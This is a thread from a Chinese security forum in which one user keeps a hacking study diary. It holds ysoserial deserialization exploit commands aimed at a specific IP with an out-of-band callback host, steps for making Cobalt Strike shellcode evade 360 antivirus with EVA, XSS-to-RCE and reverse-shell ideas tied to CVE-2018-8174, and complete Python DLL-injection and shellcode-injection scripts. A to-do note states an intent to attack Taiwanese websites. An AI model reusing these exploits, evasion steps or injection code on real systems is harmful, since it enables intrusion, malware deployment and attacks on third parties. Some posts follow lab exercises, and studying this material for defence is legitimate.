安全矩阵

 找回密码
 立即注册
搜索
楼主: CDxiaodong

程栋的学习日记

[复制链接]

63

主题

121

帖子

423

积分

中级会员

Rank: 3Rank: 3

积分
423
 楼主| 发表于 2021-10-29 17:59:30 | 显示全部楼层
图片懒得发了
回复

使用道具 举报

63

主题

121

帖子

423

积分

中级会员

Rank: 3Rank: 3

积分
423
 楼主| 发表于 2021-10-29 18:00:38 | 显示全部楼层
学习反序列化
回复

使用道具 举报

63

主题

121

帖子

423

积分

中级会员

Rank: 3Rank: 3

积分
423
 楼主| 发表于 2021-10-29 18:00:56 | 显示全部楼层
# 反序列化工具ysoserial使用介绍

### 0x01 基本使用方法

**在公网vps上执行:**

```
java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener  【port】 CommonsCollections1 '【commands】‘
```

port:公网vps上监听的端口号
commands:需要执行的命令
例子:

```html
java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 'ping -c 2  rce.267hqw.ceye.io'
```

**重启一个shell窗口:**

```
python exploit.py 【目标ip】 【目标端口】 ysoserial-0.0.6-SNAPSHOT-BETA-all.jar 【JRMPListener ip】  【JRMPListener port】 JRMPClient
```

列子:

```
python exploit.py 118.89.53.139  7001 ysoserial-0.0.6-SNAPSHOT-BETA-all.jar 118.89.53.139  1099 JRMPClient
```

### 在ysoserial编写自己的payload

1. git clone [ https://github.com/fanyingjie2/ysoserial.git](https://github.com/fanyingjie2/ysoserial.git)

2. 将自己编写的payload放在下载的包中:路径ysoserial/src/main/java/ysoserial/payloads/

3. 修改Dockerfile

   ![image-20211027211432994](C:\Users\e'e't\Desktop\image-20211027211432994.png)

4. docker build -t ysoserial .

5. docker run -ti ID号 /bin/bash

6. 在docke中执行 apt-get update

7. 在docker中执行apt-get install lrzsz

8. sz target/ysoserial.jar

   

回复

使用道具 举报

63

主题

121

帖子

423

积分

中级会员

Rank: 3Rank: 3

积分
423
 楼主| 发表于 2021-10-29 18:04:37 | 显示全部楼层
一些小问题待解决
完成那几道RSA题



2.完成作业15  3. 打靶场4. 挖专属src 5. 写一个ctf工具的文章6.复现2021 1675 7.做xxs的衍生技能完善

搞台湾的那些网站        

vulfocus那些题整合

学会画拓扑图

回复

使用道具 举报

63

主题

121

帖子

423

积分

中级会员

Rank: 3Rank: 3

积分
423
 楼主| 发表于 2021-10-29 19:51:11 | 显示全部楼层
xss的衍生技能(待做)

攻击者最简单获取他人cookie信息的方法是XSS攻击,想办法注入js脚本到被攻击者客户端并执行,通过执行这个js脚本,攻击者在被攻击者登录后获得了他的SessionID,通过在自己客户端修改sessionId获得了被攻击者的身份,后果不堪设想。。。

怎么利用xxs攻击,xxs绕过过滤

https://www.baidu.com/link?url=N ... 40f00000006617bdca2



衍生:

1.把该网站当作钓鱼进行RCE是受害机上线:

例子:https://www.jianshu.com/p/33afa423dab0

一般都是DOM型xss可以这样

2.可以将1的钓鱼方法配合浏览器漏洞

如CVE-2018-8174

CVE-2018-8174是 Windows VBScript Engine 代码执行漏洞。由于VBScript脚本执行引擎(vbscript.dll)存在代码执行漏洞,攻击者可以将恶意的VBScript嵌入到Office文件或者网站中,一旦用户不小心点击,远程攻击者可以获取当前用户权限执行脚本中的[恶意代码](http://bbs.ichunqiu.com/portal.php),该漏洞影响最新版本的IE浏览器及使用了IE内核的应用程序。用户在浏览网页或打开Office文档时都可能中招,最终被黑客植入后门木马完全控制电脑。在基于Web的攻击情形中,攻击者能通过Internet Explorer利用此漏洞的特定网站,然后诱使用户查看该网站。攻击者还可以在承载IE呈现引擎的应用程序或Microsoft Office文档中嵌入标记为“安全初始化”的ActiveX控件。攻击者还可以利用受到破坏的网站和接受或托管用户提供的内容或广告的网站。这些网站可能包含可能利用此漏洞的特制内容。

配合xxs钓鱼进行反弹shell上线

3.更多方法需要结合实际情况使用,一般都是以xss进行RCE为基础



总的来说**XSS通过浏览器执行系统命令是可行的**,但是因为或多或少的外部因素,导致命令执行并不成功,**一方面是浏览器的安全限制**,**另一方面是系统的安全保护机制**,所以只要绕过了浏览器的安全限制(并不容易),那么通过XSS静默执行系统命令就不在话下了
回复

使用道具 举报

63

主题

121

帖子

423

积分

中级会员

Rank: 3Rank: 3

积分
423
 楼主| 发表于 2021-10-30 15:34:21 | 显示全部楼层
哪位大佬能复现一下思科的CVE-2020-3331吗?
回复

使用道具 举报

63

主题

121

帖子

423

积分

中级会员

Rank: 3Rank: 3

积分
423
 楼主| 发表于 2021-11-8 17:26:02 | 显示全部楼层
测试能过360   (2021  10月初),其他软件不知道了



cs生成pyload.c 点开payload.c,把里面的16进制代码提取出来,其他的不要,点开此目录下的encoder.py。将16进制代码替换到“ur shellcode”

那个框里面

然后运行encoder.py产生新的编码,然后把这个编码复制下来

然后代开EVA-main/EVA2/Bypass.sln项目

然后把编译过的代码替换到第43行的const char shellcode[]= 后面

然后重新生成(编译)该项目

然后在EVA-main/EVA2/x64/release里面就有exe免杀了
回复

使用道具 举报

63

主题

121

帖子

423

积分

中级会员

Rank: 3Rank: 3

积分
423
 楼主| 发表于 2021-11-8 17:26:35 | 显示全部楼层
上面是eva的使用
回复

使用道具 举报

63

主题

121

帖子

423

积分

中级会员

Rank: 3Rank: 3

积分
423
 楼主| 发表于 2021-11-9 21:26:49 | 显示全部楼层
## 合天PythonHacking之DLL注入复现

python脚本方法(其他方法之前复现过了)

```python
#coding: utf8
import sys
from ctypes import *

PROCESS_ALL_ACCESS=0x001F0FFF

MEMORY_ALLC=(0x1000|0x2000)
PAGE_READWRITE = 0x04

#1. 获取注入目标进程句柄
kernel32 =windll.kernel32
AimPid =sys.argv[1]
dll_path= sys.argv[2]
dll_path_len=len(dll_path)
handle_aim=kernel32.OpenProcess(PROCESS_ALL_ACCESS,False,int(AimPid))

#2. 在目标进程中分配内存,分配的内存能够下存放dll完全路径字符串
dll_address=kernel32.VirtualAllocEx(handle_aim,0,dll_path_len,MEMORY_ALLC,PAGE_READWRITE)

#3. 将dll路径字符串写入刚刚分配的目标程序的内存之中
null_zero=c_int(0)
kernel32.WriteProcessMemory(handle_aim,dll_address,dll_path,dll_path_len,byref(null_zero))

#4. 找到目标程序中LoadLibaray的入口地址
handle_kernel32=kernel32.GetModuleHandleA("kernel32.dll")
Load_address=kernel32.GetProcAddress(handle_kernel32,"LoadLibraryA")

#5. 创建远程线程,实现最终注入
thread_id=c_ulong(0)
kernel32.CreateRemoteThread(handle_aim,None,0,Load_address,dll_address,0,byref(thread_id))
```

## 代码编写原理

1、新建文件,命名为injector.py,右键用IDLE打开,这时候就可以编写py文件了。

![img]()

2、编写一些自己看得懂的注释,提示编码流程。

![img]()

因为要使用windows api,这里使用ctypes这个模块。

3、获取注入目标进程句柄

获取进程句柄使用的api是OpenProcess.该函数一共有三个参数

HANDLE WINAPI OpenProcess(

_In_ DWORD dwDesiredAccess,

_In_ BOOL bInheritHandle,

_In_ DWORD dwProcessId

);

第一个是权限,我们需要PROCESS_ALL_ACCESS权限,这个宏定义的值其实就是0x001F0FFF。

第二个是是否继承句柄,我们填False。

第三个参数是PID,目标进程的进程标识符。

![img]()

4、接下来往目标进程中分配内存,大小为dll路径的长度。

使用的函数是VirtualAllocEx,该函数返回的是分配的起始地址。一共有5个参数。

LPVOID WINAPI VirtualAllocEx(

_In_   HANDLE hProcess,

_In_opt_ LPVOID lpAddress,

_In_   SIZE_T dwSize,

_In_   DWORD flAllocationType,

_In_   DWORD flProtect

);

第一个是目标句柄,就是我们刚刚捕获的handle_aim.

第二个是内存分配地址,微软官方声明,0代表由函数去自动决定位置。我们填0.

第三个是大小。就是我们的dll_path的字符串长度。

第四个是分配方式,我们需要分配和提交修改到内存中。微软官方声明:



“To reserve and commit pages in one step, call **VirtualAllocEx** with MEM_COMMIT | MEM_RESERVE.”,将两者的宏定义还原成真实数值,就应该是(0x1000|0x2000)

最后一个参数是内存保护方式。如果之前一旦提交(commit)了,使用任意一种方式都可以。好吧,我们还是严格按要求来写。存放路径,那么一定要可写,当然也可读。所以内存保护属性是“可读可写”。



**PAGE_READWRITE****这个宏定义就是“可读可写”,十六进制实际的值为**0x04。

因此,分配内存时代码完成后应该是这样的。

![img]()

5、往内存中写入字符串。

用到的函数是WriteProcessMemory,一共有5个参数。

BOOL WINAPI WriteProcessMemory(

_In_  HANDLE hProcess,

_In_  LPVOID lpBaseAddress,

_In_  LPCVOID lpBuffer,

_In_  SIZE_T nSize,

_Out_ SIZE_T *lpNumberOfBytesWritten

);

第一个参数代表句柄,不必多言,为我们的handle_aim.

第二个参数为写入的起始地址,为刚刚申请下来的dll_address.

第三个参数为写入内容,应该填dll_path.

第四个参数为写入大小,即dll_path_len.

第五个参数为输出参数,该指针可选,不需要可填NULL。使用byref(0)转化为null指针。

因此,这一步的代码应该如下。

![img]()

6、找到loadlibraryA的地址

先获得kernel32dll的句柄,然后在kernel32中查找它的函数loadlibraryA的地址。

(因为两个程序的LoadlibraryA入口地址是相同的,kernel32*.*dll又是win系统常用的dll文件,各个windows版本可以使用各个的文件)

![img]()

7、创建远程线程,触发payload。

这是注入的关键一步,使用的函数是CreateRemoteThread,该函数参数有7个。

HANDLE WINAPI CreateRemoteThread(

_In_  HANDLE hProcess,

_In_  LPSECURITY_ATTRIBUTES lpThreadAttributes,

_In_  SIZE_T dwStackSize,

_In_  LPTHREAD_START_ROUTINE lpStartAddress,

_In_  LPVOID lpParameter,

_In_  DWORD dwCreationFlags,

_Out_ LPDWORD lpThreadId

);

第一个参数,远程句柄,还是handle_aim.

第二个参数,线程属性,没有特别说明,可填NULL,加载默认属性。Python中用None表示。

第三个参数,栈大小,我们用不到,填写0表示加载默认大小

第四个参数,线程起始时执行的函数地址,即上一步获得的Load_address.

第五个参数,线程起始执行函数的参数,我们要执行的是loadlibraryA(“injected_dll_path”)

所以,这个参数为dll_address

第六个参数,表示线程创建后的操作。我们要让该线程一旦创建便立即执行,需要填0.

最后一个参数,表示接收创建的线程ID。是个double word类型,在ctypes中用c_ulong即可。

![img]()

至此,编码完毕,最终的代码应该是:

![img]()

------

代码利用:

1.打开扫雷,用ProcessExplorer查看pid。

![image-20211109170122124](C:\Users\e'e't\AppData\Roaming\Typora\typora-user-images\image-20211109170122124.png)

2776

2.脚本利用

![image-20211109170733252](C:\Users\e'e't\AppData\Roaming\Typora\typora-user-images\image-20211109170733252.png)

ok 成功弹出计算器

![image-20211109170745469](C:\Users\e'e't\AppData\Roaming\Typora\typora-user-images\image-20211109170745469.png)


本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

63

主题

121

帖子

423

积分

中级会员

Rank: 3Rank: 3

积分
423
 楼主| 发表于 2021-11-9 21:27:51 | 显示全部楼层
[*PythonHacking**之*代码注入](https://www.hetianlab.com/expc.d ... 2015060410411000001)

学习链接:https://www.hetianlab.com/expc.d ... 2015060410411000001

注入程序对目标程序到底执行了那些关键操作:

1)通过对目标进程内存的操作,使得目标进程中的内存空间中插入了shellcode。

2)强制执行远程线程操作,目标进程加载自身新的线程,该线程的执行地址是shellcode的起始地址。此时shellcode得以执行。

3、代码注入和DLL注入的比较。

1)代码注入占用的内存少,不同于将整个DLL加载到宿主程序中,代码能够获得与DLL注入相同的效果,而代码注入仅需要往宿主程序中插入目标shellcode,因此占用内存更少。

2)代码注入更加难以觉察。采用DLL注入会在目标进程中留有痕迹,比如上一实验中在process explorer中可以查看到注入的DLL。

3)代码注入不需要另外的DLL文件,只要有代码注入程序即可。

总结为:DLL注入技术主要用在代码量大且比较复杂的时候,而代码注入技术则适用于代码量小且简单的情况。

------

python脚本如下

```
#coding: utf8
import sys
from ctypes import *

PROCESS_ALL_ACCESS=0x001F0FFF

MEMORY_ALLC=(0x1000|0x2000)
PAGE_READWRITE_EXEC = 0x040

#1. 获取注入目标进程句柄
kernel32 =windll.kernel32
AimPid =sys.argv[1]

shellcode=(
"\xd9\xeb\x9b\xd9\x74\x24\xf4\x31\xd2\xb2\x77\x31\xc9\x64\x8b"
"\x71\x30\x8b\x76\x0c\x8b\x76\x1c\x8b\x46\x08\x8b\x7e\x20\x8b"
"\x36\x38\x4f\x18\x75\xf3\x59\x01\xd1\xff\xe1\x60\x8b\x6c\x24"
"\x24\x8b\x45\x3c\x8b\x54\x28\x78\x01\xea\x8b\x4a\x18\x8b\x5a"
"\x20\x01\xeb\xe3\x34\x49\x8b\x34\x8b\x01\xee\x31\xff\x31\xc0"
"\xfc\xac\x84\xc0\x74\x07\xc1\xcf\x0d\x01\xc7\xeb\xf4\x3b\x7c"
"\x24\x28\x75\xe1\x8b\x5a\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5a"
"\x1c\x01\xeb\x8b\x04\x8b\x01\xe8\x89\x44\x24\x1c\x61\xc3\xb2"
"\x08\x29\xd4\x89\xe5\x89\xc2\x68\x8e\x4e\x0e\xec\x52\xe8\x9f"
"\xff\xff\xff\x89\x45\x04\xbb\xef\xce\xe0\x60\x87\x1c\x24\x52"
"\xe8\x8e\xff\xff\xff\x89\x45\x08\x68\x6c\x6c\x20\x41\x68\x33"
"\x32\x2e\x64\x68\x75\x73\x65\x72\x88\x5c\x24\x0a\x89\xe6\x56"
"\xff\x55\x04\x89\xc2\x50\xbb\xa8\xa2\x4d\xbc\x87\x1c\x24\x52"
"\xe8\x61\xff\xff\xff\x68\x4e\x47\x58\x20\x68\x41\x43\x4b\x49"
"\x68\x4f\x4e\x20\x48\x68\x50\x59\x54\x48\x31\xdb\x88\x5c\x24"
"\x0e\x89\xe3\x68\x58\x20\x20\x20\x68\x6c\x61\x62\x73\x68\x69"
"\x61\x6e\x20\x68\x48\x65\x65\x74\x31\xc9\x88\x4c\x24\x0c\x89"
"\xe1\x31\xd2\x52\x53\x51\x52\xff\xd0\x31\xc0\x50\xff\x55\x08"
)
code_size=len(shellcode)

handle_aim=kernel32.OpenProcess(PROCESS_ALL_ACCESS,False,int(AimPid))

#2. 在目标进程中分配内存,分配的内存能够存放下shellcode
shellcode_address=kernel32.VirtualAllocEx(handle_aim,0,code_size,MEMORY_ALLC,PAGE_READWRITE_EXEC)

#3. 将shellcode写入刚刚分配的目标程序的内存之中
null_zero=c_int(0)
kernel32.WriteProcessMemory(handle_aim,shellcode_address,shellcode,code_size,byref(null_zero))

#5. 创建远程线程,实现最终注入
thread_id=c_ulong(0)
kernel32.CreateRemoteThread(handle_aim,None,0,shellcode_address,None,0,byref(thread_id))
```



------

代码注入和dll注入相比,步骤很相似。

Dll注入需要在目标程序中写入dll的路径,CreateRemoteThread中线程起始地址为loadlibrary的地址。而代码注入需要将所有代码和数据写入到目标程序中,并且让CreateRemoteThread的地址指向该shellcode。

1、先来看我们使用的dll注入的python攻击框架。

![img]()

这次往目标程序中插入的不再是外部dll文件的路径,而是直接插入shellcode,dll注入是通过loadlibrary方法作为线程的起始函数,而代码注入是将起始函数的执行地址改为shellcode的地址。通过原理对比,很容易写出代码注入的python框架。(程序中的shellcode处留空,将在第三步完成)

![img]()

从两幅图对比,我们可以看出代码注入和dll注入的代码不同主要如下:

1.代码注入不再需要第三方dll。

2.代码注入不再需要像dll注入一样使用loadLibrary方法来加载dll,可直接将shellcode的地址写入到远程线程的起始执行地址上。

3.代码注入的shellcode必须有可执行权限,否则在xp sp3开启dep保护的情况下会阻止shellcode的执行,因此需要修改其权限为page_read_write_execute,这个宏定义的值大小为0x40.



实验步骤:通过msfpayload生成目标shellcode,并添加到程序之中进行测试。

1.Msfpayload模块默认存放在/opt/metasploit/apps/pro/msf3/tools下。切换到该目录后,输入msfpayload查看说明。

msfpayload -l查找可用的payload

![img]()

在众多的payload中,为了测试使用windows/messagebox这个payload。(当然,也可以在线下进行更多的测试)

输入msfpayload windows/messagebox C  看一下那些代码

![image-20211109203207002](C:\Users\e'e't\AppData\Roaming\Typora\typora-user-images\image-20211109203207002.png)

可以看到上图所示的shellcode,不同的语言有不同的shellcode格式要求,我们以c为例说明

2、如果想对shellcode进行改造,也可以使用其他参数。在一般测试过程中,常常使用的一个参数是 o,(options)。这个命令有些msf攻击大家庭中show options的味道。

![img]()

从图中可以看出一些更加私人化的设置。比如shellcode的退出方式(EXITFUNC),标题栏的设置,显示内容的设置等等。

3、接下来,要定制出自己的shellcode。

设置标题栏为“PYTHON HACKING”,显示的内容为“Heetian labs!!”, payload的退出方式为thread(如果使用process等messagebox结束后就会结束宿主程序,可以尝试一下)

msfpayload windows/messagebox EXITFUNC=thread TITLE="PYTHON HACKING" TEXT="Heetian labs" o

![img]()

从图中可以看到我们的大致配置。

等到配置检查无误之后,导出为C格式。

msfpayload windows/messagebox EXITFUNC=thread TITLE="PYTHON HACKING" TEXT="Heetian labs" C

![img]()

得到的shellcode应该为:

```bash
"\xd9\xeb\x9b\xd9\x74\x24\xf4\x31\xd2\xb2\x77\x31\xc9\x64\x8b"

"\x71\x30\x8b\x76\x0c\x8b\x76\x1c\x8b\x46\x08\x8b\x7e\x20\x8b"

"\x36\x38\x4f\x18\x75\xf3\x59\x01\xd1\xff\xe1\x60\x8b\x6c\x24"

"\x24\x8b\x45\x3c\x8b\x54\x28\x78\x01\xea\x8b\x4a\x18\x8b\x5a"

"\x20\x01\xeb\xe3\x34\x49\x8b\x34\x8b\x01\xee\x31\xff\x31\xc0"

"\xfc\xac\x84\xc0\x74\x07\xc1\xcf\x0d\x01\xc7\xeb\xf4\x3b\x7c"

"\x24\x28\x75\xe1\x8b\x5a\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5a"

"\x1c\x01\xeb\x8b\x04\x8b\x01\xe8\x89\x44\x24\x1c\x61\xc3\xb2"

"\x08\x29\xd4\x89\xe5\x89\xc2\x68\x8e\x4e\x0e\xec\x52\xe8\x9f"

"\xff\xff\xff\x89\x45\x04\xbb\xef\xce\xe0\x60\x87\x1c\x24\x52"

"\xe8\x8e\xff\xff\xff\x89\x45\x08\x68\x6c\x6c\x20\x41\x68\x33"

"\x32\x2e\x64\x68\x75\x73\x65\x72\x88\x5c\x24\x0a\x89\xe6\x56"

"\xff\x55\x04\x89\xc2\x50\xbb\xa8\xa2\x4d\xbc\x87\x1c\x24\x52"

"\xe8\x61\xff\xff\xff\x68\x4e\x47\x58\x20\x68\x41\x43\x4b\x49"

"\x68\x4f\x4e\x20\x48\x68\x50\x59\x54\x48\x31\xdb\x88\x5c\x24"

"\x0e\x89\xe3\x68\x58\x20\x20\x20\x68\x6c\x61\x62\x73\x68\x69"

"\x61\x6e\x20\x68\x48\x65\x65\x74\x31\xc9\x88\x4c\x24\x0c\x89"

"\xe1\x31\xd2\x52\x53\x51\x52\xff\xd0\x31\xc0\x50\xff\x55\x08"
```

4、将导出的shellcode放置到刚才的python框架内,进行测试

将文件保存为1.py。开始进行测试,首先打开任意一个程序,比如notepad.exe,然后通过任务管理器或者process explorer去查看进程的pid值。

linux的话直接ps -ef

![image-20211109205022847](C:\Users\e'e't\AppData\Roaming\Typora\typora-user-images\image-20211109205022847.png)

![img]()

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2022-1-26 07:57 , Processed in 0.014089 second(s), 17 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表